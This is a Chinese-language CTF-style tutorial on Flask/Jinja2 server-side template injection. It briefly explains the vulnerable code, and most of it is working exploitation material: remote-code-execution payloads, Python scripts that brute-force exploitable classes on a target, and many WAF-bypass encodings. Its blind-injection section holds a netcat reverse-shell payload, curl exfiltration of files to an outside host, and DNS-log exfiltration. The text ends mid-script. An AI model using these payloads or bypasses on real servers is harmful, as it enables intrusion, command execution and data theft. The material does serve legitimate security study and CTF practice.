SSTI模板注入漏洞基础

目录

前言:

一、Flask应用

1、介绍

定义

Flask:是一个使用Python编写的轻量级web应用框架。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。

特点

用处

2、flask基本框架

 3、flask变量规则

4、flask的http方法

5、flask模板

二、模板注入漏洞

1、flask漏洞

危害

成因

演示

 2、继承关系

3、魔术方法

 4、ssti

简介

原理

常用注入模块利用

文件读取

内置函数执行命令

os模块执行命令(常用)

importlib类执行命令

linecache函数执行命令(了解即可)

subprocess.Popen类执行命令

5、ssti的payload分类

三、例题

1、{{}}被过滤

2、ssti盲注

无回显的ssti

 法一:反弹shell

法二:带外注入

纯盲注

时间盲注

3、[]被过滤

4、单双引号被过滤

5、下划线被过滤

法一:request方法

法二:unicode编码

法三:使用16位编码

 法四:base64编码(不能再python3运行)

6、点被过滤

7、关键字被过滤

法一: 字符编码

法二:“ + ”拼接

法三:Jinjia2中的“~”拼接

法四:过滤器

法五:利用python的char()(了解即可)

 8、数字被过滤

9、获取config文件

10、混合过滤

waf过滤“ " ”,“ ' ”,“ + ”,“ . ”,“ [] ”,“ 空格 ”

waf过滤“ " ”,“ ' ”,“ + ”,“ . ”,“ [] ”,“_”,“\”,“ 空格 ”,“数字”

总结:


前言:

掌握flask框架,ssti注入的基本模板,进而掌握ssti注入的各种waf及其绕过

一、Flask应用

1、介绍

  • 定义
Flask:是一个使用Python编写的轻量级web应用框架。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。
  • 特点

良好的文档、丰富的插件、包含开发服务器和调试器、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。

  • 用处

Python可以直接用flask启动一个web服务页面。

2、flask基本框架

(在python的venv虚拟环境运行)

from flask import Flask    #启动flask模块,创建一个Flask类
app = Flask(__name__)    #__name__系统变量,指的是py文件的文件名(相当于反序列化中的魔术方法)

@app.route('/')    #路由,相当与路径
def lin1():
    return "sb"

if __name__=='__main__':    #只能被python直接运行,不能作为组件或模块被调用
    app.run()

运行

运行后发现需要去浏览器查看(由于是127.0.0.1所以只能在虚拟机上的浏览器查看,没法在主机查看)

 要在本机上运行,需要改变运行的host

from flask import Flask    #启动flask模块,创建一个Flask类
app = Flask(__name__)

@app.route('/lin1')    #将路径指向lin1
def lin1():
    return "sb"
@app.route('/lin2')
def lin2():
    return "2b"

if __name__=='__main__':
    app.run(debug=True,host="172.16.17.29",port=6000)
    #debug=True:改完文件的配置可以自动生效(建议只在学习中开启,实战有漏洞,导致命令执行)
    #host="172.16.17.29",port=6666:将网址改为172.16.17.29端口改为80使得能在本机上运行

运行

 可以看到访问的地址改变了,且debug已启动(PIN码为562-864-305)

访问lin1

访问lin2

 3、flask变量规则

构建动态url

from flask import Flask   
app = Flask(__name__)

@app.route('/lin1/<name>')    
def lin1(name):    #传入字符型参数name
    return "sb %s" % name

@app.route('/lin2/<int:yourid>')
def lin2(yourid):    #传入整数型参数yourid
    return "id %d" % yourid


@app.route('/lin2/<int:yourmoneny>')
def lin2(yourmoneny):    #传入浮点型参数yourmoneny
    return "id %.2f" % yourmoneny 
  
if __name__=='__main__':
    app.run(debug=True,host="172.16.17.29",port=6000)

效果:

 

4、flask的http方法

扩展:

方法用法
POST用于向指定资源提交数据进行处理请求,例如提交表单或上传文件。数据被包含在请求体中,可能导致新的资源建立或原有资源修改。
GET请求指定的页面信息,并返回实体内容。
HEAD类似于GET,只不过返回的响应中没有具体的内容,仅传输状态行和标题部分,用于获取报头信息。
PUT从客户端向服务器传送的数据取代指定的内容,即向指定的位置上传最新的内容。
DELETE

请求服务器删除Request-URL所标识的资源。

简单的登入界面

新创建一个templates文件夹,在里面放入一个html文件

<html>
    <body>
        <form action = "http://172.16.17.29:6000/login" method = "post">
            <p>Your Name</p>
            <p><input type = "text" name = "name"></p>
            <p><input type = "submit" value = "submit"></p>
        </form>
    </body>
</html>

开始构造flask框架

from flask import Flask,request,redirect,url_for,render_template
import requests
app = Flask(__name__)

@app.route('/')    #登录页面(‘/’)
def index():
    return render_template("index.html")    
#render_template:根据传入的参数和变量,替换模板文件中的占位符,并返回最终的 HTML 内容给客户端。

@app.route('/user/<name>')    #用户页面(‘/user/’)
def user(name):
    return "hello %s" % name

@app.route('/login',methods = ['GET','POST'])    #可以用POST方法也可以用GET方法
def login():
    if request.method == 'POST':
        user = request.form['name']    #request.form['name']:获取表单数据
        return redirect(url_for('user',name = user))    #redirect:重定向到/user/<name>

    else:
        user = request.args.get('name','')
        return redirect(url_for('user',name = user))

if __name__ == '__main__':
    app.run(debug=True,host="172.16.17.29",port = 6000)

运行

POST

GET

结果

5、flask模板

使用静态页面html展示动态内容。代码结构清晰,耦合度低。

  • render_template():加载html文件,默认文件路径在templates目录下。
  • render_template_string():用于渲染字符串,直接定义内容。

二、模板注入漏洞

1、flask漏洞

危害

可能造成任意文件读取和rce远程控制后台系统

成因
  • 渲染模板时,没有严格控制对用户的输入
  • 使用了危险的模板,导致用户可以和flask程序进行交互

演示
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
    string = request.args.get('lin')    #GET获取lin的值赋值给string
    html_str = '''
        <html>
        <head></head>
        <body>{{str}}</body>   
        </html>
    '''
    #str被{{}}包括起来,会被先转义后输出,所以不会被执行
    
    return render_template_string(html_str,str=string)    
    #str通过render_template_string加载到body中间

if __name__ == '__main__':
    app.run(debug=True,host="172.16.17.29",port = 6000)

由于str被转义所以不被执行返回输入的字符串

from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
    string = request.args.get('lin')   
    html_str = '''
        <html>
        <head></head>
        <body>{}</body>   
        </html>
    '''.format(string)
    #string的值通过format()函数填充到<body>中间
    #{}可以不填也可以填任意参数
    
    return render_template_string(html_str) 
    #把{}内的字符串当作代码指令执行
   
if __name__ == '__main__':
    app.run(debug=True,host="172.16.17.29",port = 6000)

7*7被执行

在做题中可以用{{7*7}}检测漏洞

 2、继承关系

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
#创建四个类,B类继承了A类,C、D类继承了B类
c=C()
#创建一个C的对象c

print(c.__class__)  
#显示当前类C
print(c.__class__.__base__)
#显示当前类C的父类B
print(c.__class__.__base__.__base__)
#显示父类B的父类A
print(c.__class__.__base__.__base__.__base__)
#以此类推
print(c.__class__.__mro__)
#列出所有父类关系C->B->A->object(数组的形式)
print(c.__class__.__mro__[1].__subclasses__())
#数组中的第一位是0,显示B类下的所有子类

3、魔术方法

__class__:查找当前类型所属对象

''(单引号)或""(双引号):字符串        ():元组        []:列表        {}:类   

__base__:查找上一级父类

__mro__:查找当前类对象的所有继承类

__subclasses__():查找父类下的所有子类

__init__:查看类是否重载(程序在运行时就已经加载好了这个模块到内存中),如果出现wrapper说明没有重载

__globals__:函数会以字典的形式返回当前对象的全部全局变量

例子:

查看父类

{{"".__class__.__base__}}

已经到头了所以一个__base__就可以

查看当前父类下的子类

{{"".__class__.__base__.__subclasses__()}}

将这些子类赋值到nodepad并替换,为\n

搜索os._wrap_close(常用注入模块之一)在第118位(在数组中117)

调用

{{"".__class__.__base__.__subclasses__()[117]}}

检查是否重载

{{"".__class__.__base__.__subclasses__()[117].__init__}}

没有出现wrapper,已经重载

 查看全局变量,看看有那些可以使用的函数方法

{{"".__class__.__base__.__subclasses__()[117].__init__.__globals__}}

搜索需要的方法

__buitins__:对所有内置标识符直接访问

eval():内置函数,计算字符串表达式的值

popen():执行一个shell以运行命令

{{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

也可以直接用popen

{{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()}}

 4、ssti

简介

服务器端模板注入(Server-Side Template Injection),是一种网络攻击技术,它允许攻击者利用服务器端模板引擎中的安全漏洞,执行恶意代码,从而控制服务器或者窃取数据。

原理

服务器端模板注入攻击发生的场景通常是在Web应用程序使用模板引擎来生成动态HTML内容时。模板引擎允许开发者在HTML中嵌入编程语言代码,这些代码在服务器端执行后,生成最终的HTML页面发送给用户。例如,流行的模板引擎有Jinja2(Python)、ERB(Ruby)、Blade(PHP)等一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

如果模板引擎设计或配置不当,就可能允许用户输入直接嵌入到模板中,而没有适当的过滤或转义。这种情况下,攻击者可以提交恶意输入,使得模板引擎执行非预期的代码。

常用注入模块利用

ssti查询需要使用的方法

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')
for i in range(500):
    data = {post:"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                #print(response.text)
    except:
        pass
  • 文件读取

方法:_frozen_importlib_external.FileLoader

查看方法所在的位置

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')
for i in range(500):
    data = {post:"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                #print(response.text)
    except:
        pass

{{().__class__.__base__.__subclasses__()[79]}}

利用FlieLoader中的get_data方法

{{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

#0可以是任意参数

{{().__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

读取配置文件

{{config}}

  • 内置函数执行命令

方法:eval

查看方法所在位置

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')
for i in range(500):
    data = {post:"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                #print(response.text)
    except:
        pass

有很多随便用一个就行,调用方法

{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

  • os模块执行命令(常用)

在其他函数中直接调用os模块

显示出当前Flask有哪些函数和对象

{{self.__dict__._TemplateReference__context.keys()}}

flask内置函数

lipsum:可加载第三方库

url_for:可返回url路径

get_flashed_messages:可获取消息

flask内置对象

cycler

joiner

namespace

config

request

session

执行命令

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__.os.popen('ls').read()}}

{{url_for.__globals__.os.popen('ls').read()}}

{{get_flashed_messages.__globals__.os.popen('ls').read()}}

在已经加载os模块的子类中调用

查找os.py

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')
for i in range(500):
    data = {post:"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                #print(response.text)
    except:
        pass

随便用一个,调用

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()}}

  • importlib类执行命令

方法:_frozen_importlib.BuiltinImporter

查询方法位置

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')
for i in range(500):
    data = {post:"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                #print(response.text)
    except:
        pass

加载第三方库,使用load_module加载os

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls").read()}}

  • linecache函数执行命令(了解即可)

{{().__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen('ls').read()}}

{{().__class__.__base__.__subclasses__()[192].__init__.__globals__['linecache']['os'].popen('ls').read()}}

{{().__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('ls').read()}}

{{().__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen('ls').read()}}

  • subprocess.Popen类执行命令

方法:subprocess.Popen

subprocess意在替代其他几个老的模块或函数,如:os.system、os.popen等

查看方法位置

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')
for i in range(500):
    data = {post:"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                #print(response.text)
    except:
        pass

调用

{{().__class__.__base__.__subclasses__()[200]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

#communicate()[0] 表示攻击者尝试获取子进程的标准输出内容。[0]索引用于从返回的元组中提取stdout部分。

#.strip() 方法用于去除字符串开头和结尾的空白字符。

5、ssti的payload分类

python中的ssti

java中的ssti

payload:__${T(java.lang.Runtime).getRuntime().exec(“open -a Calculator”)}__::.x

#因为${},可以访问上下文环境变量,通过T(java.lang.Runtime)获取Runtime类的实例,然后调用exec(“open -a Calculator”)方法来执行命令 open -a Calculator。

paylaod构造思路:通过${}::.x构造表达式会由Thymeleaf去执行

三、例题

1、{{}}被过滤

用{{7*7}}判断发现被过滤了

尝试{%%}

法一:

判断语句是否正常运行

{%if 2>1%}123{%endif%}

回显123说明语句能正常执行

判断“”.__class__是否有内容

回显123说明可注入,后续操作在法二中执行

法二:

也可以用{%print(7*7)%}判断

回显49成功说明能用{%%}

查找当前类型所属对象

{%print("".__class__)%}

后续有多种方法得到flag

法1:

尝试命令执行popen,但需要知道popen位置

import requests

url = input('请输入url:')
# url = "http://192.168.222.140:18080/flasklab/level/2"
post = input('请输入参数:')
text = input('请输入判断要求:')
for i in range(500):
    data = {post:'{% if "".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("ls").read() %}123{% endif %}'}
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if text in response.text:
                print(i)
                print(data)
                #print(response.text)
    except:
        pass

执行

{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls").read() )%}

 

得到flag

{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read() )%}

法2:

os模块执行命令

显示当前flask有哪些函数和对象

{%print(self.__dict__._TemplateReference__context.keys())%}

执行命令

{%print(config.__class__.__init__.__globals__['os'].popen('ls').read())%}

{%print(lipsum.__globals__.os.popen('ls').read())%}

{%print(url_for.__globals__.os.popen('ls').read())%}

{%print(get_flashed_messages.__globals__.os.popen('ls').read())%}

 

还可以用importlib类、linecache函数、subprocess.Popen方法都可以得到,这边就不多加演示与上文中常用注入模块利用里的操作一致,只是脚本的payload需要修改为{%print()%}。

2、ssti盲注

  • 无回显的ssti

判断回显

发现不管怎么试都只有正确和错误的回显

 法一:反弹shell

在kali先监听7777端口

nc -lvp 7777

#-l:告诉 nc 进入监听模式,准备接收传入的连接。

#-v:详细模式,使 nc 输出更多的详细信息。

#-p:指定端口号,后面需要跟具体的端口号。

用脚本连接到kali的7777端口

import requests

url = input('请输入url:')
post = input('请输入参数:')

for i in range(500):
        data = {post:'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("nc 172.16.17.29 7777 -e /bin/bash").read()}}'}
#-e:指定连接成功后执行的程序。在这个例子中,它指定了 /bin/bash,这意味着一旦连接建立,将会在远程服务器上启动一个 bash shell。
        try:
            response = requests.post(url,data=data)
        except:
            pass

 运行脚本后可以发现已经连接到7777端口,进行命令执行

法二:带外注入

curl带外

import requests

url = input('请输入url:')
post = input('请输入参数:')

for i in range(500):
        data = {post:'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://172.16.17.29:7777 -F file=@flag").read()}}'}
#wget http://172.16.17.29:7777 -F file=@flag
        try:
            response = requests.post(url,data=data)
        except:
            pass

DNSLog的方式

这里需要用到一个DNSlog 服务器,这里使用CEYE - Monitor service for security testing(也可以用自己的服务器搭建一个)

进入后注册一个自己的账户,然后在profile查看自己的 Identifier(由于是外网的服务器平台不稳定)

import requests

url = input('请输入url:')
post = input('请输入参数:')

for i in range(500):
        data = {post:'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("ping `cat flag`.<Identifier>.ceye.io").read()}}'}
        try:
            response = requests.post(url,data=data)
        except:
            pass

运行后在DNS Query查看

补充:

有些时候由于不能识别太长的长度 ,所以可以利用cut命令

ping `cut -c6-19 flag`.<identifier>.ceye.io

#截取第 6 到 19 位

  • 纯盲注

先得出popen的位置为117,写脚本

import requests

url = input('请输入url:')
post = input('请输入参数:')
request = input('请输入判断要求:')

def check(payload):
    post_data = {post:payload}
    try:
        response = requests.post(url,data=post_data)
        if response.status_code == 200:
            if request in response.text:
                return True
    except:
        pass

text = ''
#字符集
s = r" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

for j in range(0,100):
    for k in s:
        payload = '{% if "".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls").read()['+str(j)+':'+str(j+1)+'] == "'+k+'" %}123{% endif %}'
        #按题目修改payload
        if check(payload):
            text += k
            break
    print(text)

运行

  • 时间盲注
import requests
import time

url = input('请输入url:')
post = input('请输入参数:')

def check(payload):
    post_data = {post:payload}
    start_time = time.time()
    response = requests.post(url, data=post_data)
    end_time = time.time()
    response_time = end_time - start_time
    return response_time

text = ''
# 字符集
s = r" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

for i in range(0, 100):
    low = 0
    high = len(s)
    while low < high:
        mid = low + (high - low) // 2
        payload = "{%set text=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if text["+str(i)+"]=='"+s[mid]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif text["+str(i)+"]>'"+s[mid]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{% endif %}"
        #先求出__builtins__的位置
        #根据题目的不同修改payload
        response_time = check(payload)
        if response_time >= 2 and response_time <= 4:
        #根据payload里的sleep判断
            text += s[mid]
            print(s[mid], end='\t')
            break  # 找到正确的字符,退出循环
        elif response_time > 4:
            low = mid + 1
        else:
            high = mid

print("\n" + text)

(这边payload懒得写了就直接复制别人的了,一般先ls查看一下目录再cat)

运行

3、[]被过滤

一步步尝试,当到需要查找方法位置时发现有waf,[]被过滤了。

这时我们可以,使用__getitem__()代替[]

__getitem__()

对字典使用时,传入字符串,返回字典相应键所对应的值。

对列表使用时,传入整数返回列表对应的索引的值。

修改脚本查看方法位置

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    data = {post: '{{"".__class__.__base__.__subclasses__().__getitem__('+str(i)+').__init__.__globals__}}'}
    # 依据所需payload转变
    new_payload = '{{"".__class__.__base__.__subclasses__().__getitem__('+str(i)+').__init__.__globals__.__getitem__("popen")("ls").read()}}'
    #依照自己所需要方法的使用来构造payload
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                print(new_payload)
                # print(response.text)
    except:
        pass

运行

 带入payload

4、单双引号被过滤

输入{{""}}时发现被过滤了,使用{%""%}、{{‘’}}和{%''%}也是一样,说明单双引号被过滤了

这时可以使用request函数绕过

request

在flask中可以访问基于http请求传递的所有信息

request.args.<key>:获取get传入的参数

request.form.<key>:获取post传入的参数

request.cookies.<key>:获取cookies传入的参数

request.headers.<key>:获取请求头请求参数

request.values.<key>:获取所有参数

request.data:获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data或application/xml)

request.json:获取post传入的json参数(Content-Type:application/json)

查找popen位置并构造payload

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    data = {post: '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__}}'}
    # 依据所需payload转变
    new_payload = '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__[request.args.m](request.args.cmd).read()}}'
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                print(new_payload)
                # print(response.text)
    except:
        pass

运行

带入payload后,get传入m=popen&cmd=ls

除了get外其他的几种也都可行这边不过多演示

5、下划线被过滤

用{{}}没问题,用{{""}}也没问题,{{"".__}}发现有waf,用{{__}}再次尝试,说明下划线被过滤

使用过滤器attr()绕过

flask常用过滤器

length():获取一个序列或者字典的长度并将其返回

int():将值转换为Int类型

float():将值转换为float类型

lower():将字符串转换为小写

upper():将字符串转换为大写

reverse():反转字符串

replace(value,old,new):将value中的old替换为new

list():将变量转换为列表类型

string():将变量转换成字符串类型

join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr():获取对象的属性

过滤器通过管道符“ | ”与变量连接,并且在括号中可有可选参数

法一:request方法

查找popen位置并得出payload和get请求内容

import requests
from urllib.parse import urlencode
import urllib.parse

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    data_get = {'cla': '__class__',
                'bas': '__base__',
                'sub': '__subclasses__',
                'geti': '__getitem__',
                'ini': '__init__',
                'glo': '__globals__'
    }
    data_post = {post: '{{""|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.geti)('+str(i)+')|attr(request.args.ini)|attr(request.args.glo)}}'}
    # 依据所需payload转变
    # 因为attr过滤器通常用于动态地访问对象的属性,而不是直接用作索引,所以不能使用['str(i)']和["popen"]
    new_payload = '{{""|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.geti)('+str(i)+')|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)("popen")("ls")|attr("read")()}}'
    new_get = urllib.parse.urlencode(data_get)
    new_url = url + '?' + urlencode(data_get)
    try:
        response_post = requests.post(new_url, data=data_post)
        if response_post.status_code == 200:
            if method in response_post.text:
                print(i)
                print(new_payload)
                print(new_get)
                # print(response.text)
    except:
        pass

运行

法二:unicode编码

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

#{{()|attr("__class__")}}

 后续的payload构造不再演示

法三:使用16位编码

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}

#用“ \x5f ”代替“ _ ”

 法四:base64编码(不能再python3运行)

{{()|attr("X19jbGFzc19f".decode('base64'))}}

#{{()|attr("__class__")}}

6、点被过滤

法一:

用[]代替.

{{""["__class__"]}}

法二:

用attr()用法与下划线被过滤一致

7、关键字被过滤

使用{{"".__class__}}发现被过滤,一个一个试最后得出class被过滤了

法一: 字符编码

unicode、16进制、base64

法二:“ + ”拼接
import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    data = {post: '{{()["__cl"+"ass__"]["__ba"+"se__"]["__subc"+"lasses__"]()['+str(i)+']["__in"+"it__"]["__glo"+"bals__"]}}'}
    # 依据所需payload转变
    new_payload = '{{()["__cl"+"ass__"]["__ba"+"se__"]["__subc"+"lasses__"]()['+str(i)+']["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]("ls")["read"]()}}'
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                print(new_payload)
                # print(response.text)
    except:
        pass

运行

带入payload

法三:Jinjia2中的“~”拼接
import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    data = {post: '{%set a="__cl"%}{%set b="ass__"%}{%set c="__ba"%}{%set d="se__"%}{%set e="__subc"%}{%set f="lasses__"%}{%set g="__in"%}{%set h="it__"%}{%set i="__glo"%}{%set j="bals__"%}{{()[a~b][c~d][e~f]()['+str(i)+'][g~h][i~j]}}'}
    new_payload = '{%set a="__cl"%}{%set b="ass__"%}{%set c="__ba"%}{%set d="se__"%}{%set e="__subc"%}{%set f="lasses__"%}{%set g="__in"%}{%set h="it__"%}{%set i="__glo"%}{%set j="bals__"%}{%set k="po"%}{%set l="pen"%}{{()[a~b][c~d][e~f]()['+str(i)+'][g~h][i~j][k~l]("ls")["read"]()}}'
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                print(new_payload)
                # print(response.text)
    except:
        pass

运行

带入payload

法四:过滤器

reverse

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    data = {post: '{%set a="__ssalc__"|reverse%}{%set b="__esab__"|reverse%}{%set c="__sessalcbus__"|reverse%}{%set d="__tini__"|reverse%}{%set e="__slabolg__"|reverse%}{{""[a][b][c]()['+str(i)+'][d][e]}}'}
    new_payload = '{%set a="__ssalc__"|reverse%}{%set b="__esab__"|reverse%}{%set c="__sessalcbus__"|reverse%}{%set d="__tini__"|reverse%}{%set e="__slabolg__"|reverse%}{%set f="nepop"|reverse%}{{""[a][b][c]()['+str(i)+'][d][e][f]("ls")["read"]()}}'
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                print(new_payload)
                # print(response.text)
    except:
        pass

运行

 带入payload

replace

{%set a="__claee__"|replace("ee","ss")%}

join

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}

法五:利用python的char()(了解即可)

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(95)%2bchr(95)]}}

 8、数字被过滤

用{{7*7}}时发现有waf,说明数字被过滤了

用过滤器length()绕过

length():获取一个序列或者字典的长度并将其返回

{%set a="aaaaa"|length%}        #5

{%set a="aaaaa"|length*"aa"%}        #5*2=10

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(1,200):
    t = "a"
    b = t*i
    data = {post:'{%set x="'+b+'"|length%}{{"".__class__.__base__.__subclasses__()[x].__init__.__globals__}}'}
    new_payload = '{%set x="'+b+'"|length%}{{"".__class__.__base__.__subclasses__()[x].__init__.__globals__["popen"]("ls").read()}}'
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(len(b))
                print(new_payload)
                #print(response.text)
    except:
        pass

运行

带入payload

9、获取config文件

有些flag会在config中

正常情况下查看config

{{config}}

当有过滤时

这时可以利用内置函数调用current_app模块进而查看配置文件

flask内置函数

lipsum:可加载第三方库

url_for:可返回url路径

get_flashed_messages:可获取消息

{{url_for.__globals__["current_app"].config}}

10、混合过滤

法一:通过将上述的过滤方法混合构造Payload绕过

法二:

运用dic()、join、内置函数等

  • 在无法使用引号的情况下,使用dict()生成字典,配合join获得键名生成字符串

dict():用来创建一个字典

join:将一个序列中的参数值拼接成字符串

{%set a=dict(__cla=1,ss__=2)|join%}{{a}}

#创建字典a,join把参数值拼接成字符串"__class__"

  • 利用Flask内置函数和对象获取符号

获取下划线和空格

{%set a=({}|select()|string())%}{{a}}

或{%set a=(lipsum|string)%}{{a}}

#还有很多种

使用list查看拆分字符

{%set a=({}|select()|string()|list)%}{{a}}

或{%set a=(lipsum|string|list)%}{{a}}

用[i]获取第i位字符(从0开始计数)

这里就用其中一种演示

{%set a=(lipsum|string|list)%}{{a[9]}}

#获取空格

{%set a=(lipsum|string|list)%}{{a[18]}}

#获取下滑线

获取百分号

{%set a=(self|string|urlencode|list)%}{{a[0]}}

 还有其他的符号的获取都是一样的方式

  • 获取数字

{%set s=dict(aaaaaaaaaaa=1)|join|count%}{{s}}

waf过滤“ " ”,“ ' ”,“ + ”,“ . ”,“ [] ”,“ 空格 ”

payload原型

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls").read()}}

构造payload

{%set a=dict(__cla=1,ss__=2)|join%}

{%set b=dict(__ba=1,se__=2)|join%}

{%set c=dict(__subcl=1,asses__=2)|join%}

{%set d=dict(__geti=1,tem__=2)|join%}

{%set e=dict(__in=1,it__=2)|join%}

{%set f=dict(__glo=1,bals__=2)|join%}

{%set g=dict(pop=1,en=2)|join%}

{%set h=dict(l=1,s=2)|join%}

{%set i=dict(re=1,ad=2)|join%}

{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(h)|attr(i)()}}

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(500):
    payload = '{%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__ba=1,se__=2)|join%}{%set c=dict(__subcl=1,asses__=2)|join%}{%set d=dict(__geti=1,tem__=2)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)('+str(i)+')|attr(e)|attr(f)}}'
    data = {post: payload}
